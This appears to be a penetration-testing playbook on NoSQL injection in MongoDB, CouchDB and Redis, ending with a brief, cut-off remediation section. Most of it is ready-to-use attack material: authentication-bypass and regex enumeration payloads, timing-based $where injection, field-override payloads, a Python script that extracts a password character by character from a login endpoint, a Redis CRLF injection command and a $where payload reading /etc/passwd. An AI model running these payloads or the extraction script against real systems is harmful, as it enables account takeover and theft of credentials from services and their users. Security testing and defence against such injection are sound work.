Nosql Injection

VULNERABLE: Login succeeds without valid password SECURE: Error or rejected request

Step 1.2: User Enumeration

// Test if user exists using $regex
{
  "username": {"$regex": "^a"},
  "password": {"$ne": ""}
}

// Binary search for usernames
{
  "username": {"$regex": "^admin"},
  "password": {"$ne": ""}
}

Phase 2: Data Extraction

Step 2.1: $where Injection

// Using $where clause
{
  "username": "admin",
  "$where": "1==1"
}

// Sleep-based detection
{
  "username": "admin",
  "$where": "sleep(5000)"
}

// Data extraction via timing
{
  "username": "admin",
  "$where": "this.password.match(/^a/) ? sleep(5000) : 1"
}

Step 2.2: $regex Extraction

// Character-by-character extraction
{
  "username": "admin",
  "password": {"$regex": "^p"}
}
// Response differs when match found

// Extract hex/special chars
{
  "password": {"$regex": "^[a-f0-9]"}
}

Phase 3: Query Manipulation

Step 3.1: Array Injection

// Bypass array checks
{
  "items": {"$elemMatch": {"$gt": ""}}
}

// $in operator
{
  "status": {"$in": ["active", "deleted", "admin"]}
}

Step 3.2: Field Override

// Inject additional fields
{
  "username": "user",
  "role": "admin",
  "$set": {"isAdmin": true}
}

// MongoDB update injection
{
  "username": "user",
  "$set": {"password": "hacked"}
}

Phase 4: Blind Extraction Script

#!/usr/bin/env python3
"""MongoDB Blind Extraction via $regex"""

import requests
import string

URL = "https://target.com/api/login"
CHARSET = string.ascii_letters + string.digits + "_"

def extract_field(field_name, known_prefix=""):
    """Extract field value character by character"""
    result = known_prefix
    
    while True:
        found = False
        for char in CHARSET:
            payload = {
                "username": "admin",
                field_name: {"$regex": f"^{result}{char}"}
            }
            
            resp = requests.post(URL, json=payload)
            
            if "success" in resp.text or resp.status_code == 200:
                result += char
                print(f"[+] Found: {result}")
                found = True
                break
        
        if not found:
            break
    
    return result

# Usage
password = extract_field("password")
print(f"[+] Extracted password: {password}")

Phase 5: CouchDB Injection

// CouchDB view injection
GET /db/_design/docs/_view/all?startkey="a"&endkey="z"

// Mango query injection
POST /db/_find
{
  "selector": {
    "password": {"$regex": ".*"}
  }
}

Phase 6: Redis Command Injection

# SSRF to Redis
curl "https://target.com/api/cache?key=test\r\nCONFIG SET dir /var/www/html\r\n"

# Via newline injection
key=test%0d%0aSET%20pwned%20true

Test Payloads Matrix

Examples

Example 1: Authentication Bypass

Request:
POST /api/auth/login
Content-Type: application/json

{
  "email": "[email protected]",
  "password": {"$ne": null}
}

Response:
{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {"role": "admin"}
}

Result: CRITICAL - Authentication bypassed using $ne operator

Example 2: Password Extraction

Attack sequence:
1. {"password": {"$regex": "^a"}} → 401
2. {"password": {"$regex": "^s"}} → 200 ✓
3. {"password": {"$regex": "^se"}} → 200 ✓
4. {"password": {"$regex": "^sec"}} → 200 ✓
...
Final: password = "secretPassword123"

Result: HIGH - Password extracted via blind regex injection

Example 3: $where Code Execution

Request:
POST /api/users/search
{
  "$where": "return (this.isAdmin && (function(){var fs=require('fs'); return fs.readFileSync('/etc/passwd')}()))"
}

Response:
MongoError: ReferenceError: require is not defined

Result: MEDIUM - JavaScript execution context confirmed, sandboxed

Remediation Guidance

Input Validation

// Reject MongoDB operators in input
function sanitizeInput(input) {
  if (typeof input === 'object') {
    for (let key of Object.keys(input)) {
      if (key.startsWith('$')) {
        throw new Error('Invalid input');
      }
    }
  }
  return input;
}

Use Parameterized Queries

// Instead of:
db.users.find({username: req.body.username})

// Use:
const username = String(req.body.username);
db.users.find({username: username})

Disable JavaScript

// MongoDB config